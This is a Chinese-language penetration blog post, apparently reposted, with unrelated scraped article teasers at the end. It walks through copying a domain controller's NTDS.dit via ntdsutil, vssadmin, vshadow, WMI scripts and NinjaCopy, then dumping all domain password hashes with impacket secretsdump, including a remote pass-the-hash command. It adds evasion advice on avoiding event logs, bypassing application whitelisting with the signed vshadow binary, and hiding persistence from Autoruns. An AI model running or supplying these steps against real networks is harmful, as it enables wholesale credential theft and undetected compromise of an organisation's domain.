服务器渗透文件,域渗透——获得域控服务器的NTDS.dit文件

0x00 前言

在之前的文章《导出当前域内所有用户hash的技术整理》曾介绍过通过Volume Shadow Copy实现对ntds.dit文件的复制, 可用来导出域内所有用户hash。本文将尝试做系统总结,总结多种不同的方法。

0x01 简介

本文将要介绍以下内容:

多种实现方法

比较优缺点

0x02 通过Volume Shadow Copy获得域控服务器NTDS.dit文件

测试系统:

Server 2008 R2 x64

Server 2012 R2 x64

Volume Shadow Copy Service:

用于数据备份

支持Windows Server 2003 及以上操作系统

系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定

禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup

1、ntdsutil

域环境默认安装

支持系统:

Server 2003

Server 2008

Server 2012

常用命令:

(1) 查询当前快照列表

ntdsutil snapshot "List All" quit quit

(2) 查询已挂载的快照列表

ntdsutil snapshot "List Mounted" quit quit

(3) 创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

(4) 挂载快照

ntdsutil snapshot "mount GUID" quit quit

(5) 卸载快照:

ntdsutil snapshot "unmount GUID" quit quit

(6) 删除快照

ntdsutil snapshot "delete GUID" quit quit

实际测试:

(1) 查询当前系统的快照

ntdsutil snapshot "List All" quit quit

ntdsutil snapshot "List Mounted" quit quit

(2) 创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

guid为{6e31c0ab-c517-420b-845d-c38acbf77ab9}

如下图

933a2d4d0cf2eeb78e2c543b3b312e86.png

(3) 挂载快照

ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

快照挂载为C:\$SNAP_201802270645_VOLUMEC$\,如下图

42d7e8ee178ed1e949d81213bbd19aeb.png

(4) 复制ntds.dit

copy C:\$SNAP_201802270645_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

(5) 卸载快照:

ntdsutil snapshot "unmount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

(6) 删除快照

ntdsutil snapshot "delete {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

2、vssadmin

域环境默认安装

支持系统:

Server 2008

Server 2012

常用命令:

(1) 查询当前系统的快照

vssadmin list shadows

(2) 创建快照

vssadmin create shadow /for=c:

(3) 删除快照

vssadmin delete shadows /for=c: /quiet

实际测试:

(1) 查询当前系统的快照

vssadmin list shadows

(2) 创建快照

vssadmin create shadow /for=c:

获得Shadow Copy Volume Name为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12

如下图

05bb373059a7dd52b80340922046b04f.png

(3) 复制ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit

(4) 删除快照

vssadmin delete shadows /for=c: /quiet

3、vshadow.exe

系统默认不支持,,可在Microsoft Windows Software Development Kit (SDK)中获得该工具

注:

64位系统需要使用64位的vshadow.exe

不同系统可供使用的vshadow.exe下载地址:

http://edgylogic.com/blog/vshadow-exe-versions/

常用命令:

(1) 查询当前系统的快照

vshadow.exe -q

(2) 创建快照

vshadow.exe -p -nw C:

参数说明:

-p persistent,备份操作或是重启系统不会删除

-nw no writers,用来提高创建速度

C: 对应c盘

(3) 删除快照

vshadow -dx=ShadowCopySetId

vshadow -ds=ShadowCopyId

实际测试:

(1) 查询当前系统的快照

vshadow.exe -q

(2) 创建快照

vshadow.exe -p -nw C:

获得SnapshotSetID为{809b77cc-cf9a-4101-b802-08e97d10e613}

获得SnapshotID为{ef99d039-9a38-4e8b-9f57-e3113d464f76}

获得Shadow copy device name为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

如下图

a720b77332477642907decfd4447f1c9.png

(3) 复制ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds.dit

(4) 删除快照

vshadow -dx={809b77cc-cf9a-4101-b802-08e97d10e613}

or

vshadow -ds={ef99d039-9a38-4e8b-9f57-e3113d464f76}

4、vssown.vbs

可供参考的下载地址:

https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

本质上是通过wmi对ShadowCopy进行操作

通过wmi查询快照信息:

wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ShadowCopy GET DeviceObject,ID,InstallDate /FORMAT:list

powershell实现:

https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1

扩展

1、日志文件

调用Volume Shadow Copy服务会产生日志文件,位于System下,Event ID为7036

执行ntdsutil snapshot "activate instance ntds" create quit quit会额外产生Event ID为98的日志文件

如下图

ea9bed3e9631c7c707de20377db14733.png

2、访问快照中的文件

查看快照列表:

vssadmin list shadows

无法直接访问\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12中的文件

可通过创建符号链接访问快照中的文件:

mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\

如下图

f707331c61dc18f04fa2ddd26ea21ce0.png

删除符号链接:

rd c:\testvsc

利用思路:

如果当前系统存在快照文件,可对系统的历史文件进行访问

3、利用vshadow执行命令

参考资料:

https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/

执行命令:

vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:

执行后,后台存在进程VSSVC.exe,同时显示服务Volume Shadow Copy正在运行,需要手动关闭进程VSSVC.exe

注:

手动关闭进程VSSVC.exe会生成日志7034

利用思路:

vshadow.exe包含微软签名,能绕过某些白名单的限制。如果作为启动项,Autoruns的默认启动列表不显示

0x03 通过NinjaCopy获得域控服务器NTDS.dit文件

下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

没有调用Volume Shadow Copy服务,所以不会产生日志文件7036

0x04 小结

本文整理了多种获得域控服务器NTDS.dit文件的方法,测试使用环境,比较优缺点。

0x06 impacket 工具包导出散列值

使用Impacket中的secretsdump ,是可以解析ntds.dit文件,导出hash值 。

impacker-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

b55634c22959367704175ea41f816536.png

47d2db859ba089198452ed8b32113325.png

impacket 还可以直接通过用户名和散列值进行验证,远程dump出hash

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

windows 2003 域控服务器导出全部hash的方法

天下文章一大抄,我也是醉了... 一份“错误”的文章一遍又一遍的被转载,盲目转载,根本不细看.只会误导新手. 谈下windows2003域控下如何导出全部的hash信息. 1. 使用备份还原向导 2. ...

AD域渗透总结

域渗透总结 学习并做了一段时间域网络渗透,给我直观的感受就是思路问题和耐心,这个不像技术研究,需要对一个点进行研究,而是遇到问题后要从多个方面思考,寻找"捷径"思路,只要思路正确, ...

使用卷影拷贝提取ntds.dit

一.简介 通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件.使用windows本地卷影拷贝服务,就可以获得该文件的副本. 在活动目录中,所有的 ...

利用卷影拷贝服务提取ntds.dit

0x01 前言 通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件.那么什么是ntds.dit呢? ntds.dit文件是一个数据库,用于存储A ...

Windows Server 2008 R2 域控服务器运行nslookup命令默认服务器显示 UnKnown

一.问题: 域控服务器DOS窗口运行nslookup命令提示如下: 二.原因分析: 主要原因在于域控服务器的DNS服务器没有设置反向查找区域,计算机名称是通过IP地址反向查找到域控服务器的计算机名称. ...

office web apps 部署-搭建域控服务器

开始第一条先说注意事项:我所配置的环境是用了三台2012server虚拟机,三台虚拟机必须要加下域控,而且登录操作的时候必须以域账号登录,否则测试不通过!在笔记本上搭建了两个虚拟机(window se ...

RH318之域控服务器

Windows2012域控服务器 一.安装域服务及DNS 1.配置静态IP 2.点击左下角 3.进入--->服务器管理器 4.点击角色和功能 勾选Active Directory域服务与DNS服 ...

Active Directory虚拟机搭建域控服务器环境

前言 还是和上一章一样,痛苦过后还是记录下给后来人提供便利为妙. 虚拟机选择:建议Hyper-V或者VMware 系统选择:建议WIindows Server 2003及以上 我这里是使用VMware ...

服务器搭建域控与SQL Server的AlwaysOn环境过程(一) 搭建域控服务器

0 准备阶段 1. Windows Server 服务器 3台(其中域控服务器配置可降低一个水准,目前博主试用的是:域控服务器--2核4G 数据库服务器(节点)--4核8G ) 2. SQL Serv ...

随机推荐

URAL

URAL 2035 输入x,y,c,  找到任意一对a,b 使得a+b==c&& 0<=a<=x && 0<=b<=y 注意后两个条件,顺序搞错 ...

JAVA中的时间操作

java中的时间操作不外乎这四种情况: 1.获取当前时间 2.获取某个时间的某种格式 3.设置时间 4.时间的运算 好,下面就针对这四种情况,一个一个搞定. 一.获取当前时间 有两种方式可以获得,第一 ...

jQuery中click&lpar;&rpar;与trigger方法的区别

click()可以执行单击事件,但是不可传参. $("button").click(function(){ alert("hello."); }); trigg ...

flush table with read lock的轻量级解决方案&lbrack;原创&rsqb;

为什么要使用FTWRL   MySQL dba在日常工作中,数据备份绝对是工作频度最高的工作内容之一.当你使用逻辑方式进行备份(mydumper,mysqldump)或物理方式进行备份(percona ...

51 nod 1681 公共祖先 &lpar;主席树&plus;dfs序&rpar;

1681 公共祖先 基准时间限制:1 秒 空间限制:131072 KB 分值: 80 难度:5级算法题   有一个庞大的家族,共n人.已知这n个人的祖辈关系正好形成树形结构(即父亲向儿子连边). 在另 ...

Arduino通过L9110进行电机控制

L9110S是为控制和驱动电机设计的两通道推挽式功率放大专用集成电路器件,将分立电路集成在单片IC之中,使外围器件成本降低,整机可靠性提高. 该芯片有两个TTL/CMOS兼容电平的输入,具有良好的抗干 ...

GitHub创建仓库,并与git本地仓库关联

登录后头像右上角点击: 起名再create 后 会跳转到下面页面: 先在git上复制执行第一条指令,创建一个readme文档 然后再用第二条初始化仓库 第三步将readme文档添加至暂存区 然后提交一 ...

&lbrack;luogu 5300&rsqb;&lbrack;bzoj 5502&rsqb; &lbrack;GXOI&sol;GZOI2019&rsqb; 与或和

题面 思路还是挺容易想的, 只是由于我还是太\(naive\)了一点不会做只会打暴力吧...... 题目要我们求所有子矩阵的\(and\)值之和与\(or\)值之和, 一看之下似乎不好入手, 我们慢慢 ...

spark练习——影评案例

第一次写博客,新人上路,欢迎大家多多指教!!! ---------------------------------------------------------------------分割线---- ...

Effective API Design

Effective API Design */--> div.org-src-container { font-size: 85%; font-family: monospace; } Tabl ...

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值